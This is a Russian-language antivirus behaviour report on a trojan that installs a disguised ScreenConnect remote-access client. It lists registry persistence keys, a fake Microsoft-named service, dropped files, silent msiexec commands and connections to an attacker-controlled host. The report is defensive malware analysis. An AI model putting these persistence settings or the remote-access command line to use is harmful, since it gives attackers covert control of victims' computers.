Trojan.Siggen33.4015

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKLM\SOFTWARE\Classes\sc-b00c9eaff487621d\shell\open\command] '' = '"%ProgramFiles(x86)%\VC20152019_Runtime_x64\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\VC20152019_Runtime_x64\ScreenConnect.WindowsAuthenticationPackage.dll'

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\MSRTHelper14] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\MSRTHelper14] 'ImagePath' = '"%ProgramFiles(x86)%\VC20152019_Runtime_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=804...

Создает следующие сервисы

'MSRTHelper14' %ProgramFiles(x86)%\VC20152019_Runtime_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=dee3eca6-2f68-42ee-b6f9-4957ea81dd23&k=BgIAAACkAABSU0ExAAgAAAEAAQA...

Вредоносные функции

Патчит код

в динамической библиотеке

Процесс geek64.exe, модуль KERNELBASE.dll

Изменения в файловой системе

Создает следующие файлы

%TEMP%\dxsetup_dbg.log
%TEMP%\004298bb.exe
%TEMP%\a717224c.tmp
%TEMP%\geek64.exe
%WINDIR%\installer\msi545a.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msi545a.tmp-\screenconnect.core.dll
%WINDIR%\installer\msi545a.tmp-\screenconnect.windows.dll
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msi545a.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df48ae60872f5e6224.tmp
%WINDIR%\installer\sourcehash{0c1f8603-13f7-4bdb-a4cf-be4674881224}
%WINDIR%\temp\~df0fa201939e37bdb0.tmp
%WINDIR%\temp\~df5d33d43316c798bc.tmp
%WINDIR%\temp\~dffe36fc31a60813a7.tmp
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.client.dll
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.clientservice.dll
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.core.dll
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windows.dll
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.clientservice.exe
%ProgramFiles(x86)%\vc20152019_runtime_x64\app.config
%ProgramFiles(x86)%\vc20152019_runtime_x64\client.en-us.resources
%ProgramFiles(x86)%\vc20152019_runtime_x64\client.override.en-us.resources
%ProgramFiles(x86)%\vc20152019_runtime_x64\client.override.resources
%ProgramFiles(x86)%\vc20152019_runtime_x64\client.resources
%ProgramFiles(x86)%\vc20152019_runtime_x64\system.config
%APPDATA%\geek uninstaller\cache.dat
%WINDIR%\installer\{0c1f8603-13f7-4bdb-a4cf-be4674881224}\defaulticon
%WINDIR%\temp\~dfab59e2404303b55a.tmp
%WINDIR%\temp\~dff1a412c4facdbb31.tmp
%WINDIR%\temp\~dfdbd572eaeeccbc36.tmp
%WINDIR%\temp\~df4513c1a9fc781ba2.tmp
%WINDIR%\temp\~dfd41d37382f2748dc.tmp
%WINDIR%\temp\~df7676aecb0331225b.tmp
%WINDIR%\temp\~df7e7cb0021a0c907e.tmp
%WINDIR%\temp\~dfeb812c4643f678b3.tmp
%WINDIR%\syswow64\config\systemprofile\appdata\local\vc20152019_runtime_x64\gxudsix1.newcfg
%TEMP%\content\3236-4840-screenconnect.windowsclient.exe-01-14-46-711.dump
%TEMP%\content\3236-4840-screenconnect.windowsclient.exe-01-14-46-781.dump
%TEMP%\content\3236-4840-screenconnect.windowsclient.exe-01-14-46-796.dump
%WINDIR%\temp\content\3792-4684-screenconnect.windowsclient.exe-01-14-51-592.dump
%WINDIR%\temp\content\3792-4684-screenconnect.windowsclient.exe-01-14-51-665.dump

Удаляет файлы, которые сам же создал

%WINDIR%\installer\msi545a.tmp-\customaction.config
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.compression.cab.dll
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.compression.dll
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.windowsinstaller.dll
%WINDIR%\installer\msi545a.tmp-\microsoft.deployment.windowsinstaller.package.dll
%WINDIR%\installer\msi545a.tmp-\screenconnect.core.dll
%WINDIR%\installer\msi545a.tmp-\screenconnect.installeractions.dll
%WINDIR%\installer\msi545a.tmp-\screenconnect.windows.dll

Перемещает следующие файлы

%WINDIR%\syswow64\config\systemprofile\appdata\local\vc20152019_runtime_x64\gxudsix1.newcfg в %WINDIR%\syswow64\config\systemprofile\appdata\local\vc20152019_runtime_x64\user.config

Сетевая активность

Подключается к

'ge####installer.com':443
'23.##5.2.132':80
'x1.#.lencr.org':80
'yr.#.lencr.org':80
'yr#.#.lencr.org':80
'mi###.#pn-expres.top':8041

TCP

Запросы HTTP GET

http://yr.#.lencr.org/
http://yr#.#.lencr.org/3.crl

Другие

'ge####installer.com':443
'mi###.#pn-expres.top':8041

UDP

DNS ASK ge####installer.com
DNS ASK x1.#.lencr.org
DNS ASK yr.#.lencr.org
DNS ASK yr#.#.lencr.org
DNS ASK mi###.#pn-expres.top

Другое

Создает и запускает на исполнение

'%TEMP%\004298bb.exe'
'%TEMP%\geek64.exe'
'%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=dee3eca6-2f68-42ee-b6f9-4957ea81dd23&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0...
'%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsclient.exe' "RunRole" "d65f0b8e-ee1d-4665-8cbd-e2fc77fcd4f7" "User"
'%ProgramFiles(x86)%\vc20152019_runtime_x64\screenconnect.windowsclient.exe' "RunRole" "178c116d-0349-46c1-8dcc-80cf85a80319" "System"

Запускает на исполнение

'%WINDIR%\syswow64\msiexec.exe' /i %TEMP%\A717224C.tmp /qn REBOOT=ReallySuppress
'%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\Installer\MSI545A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_874062 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments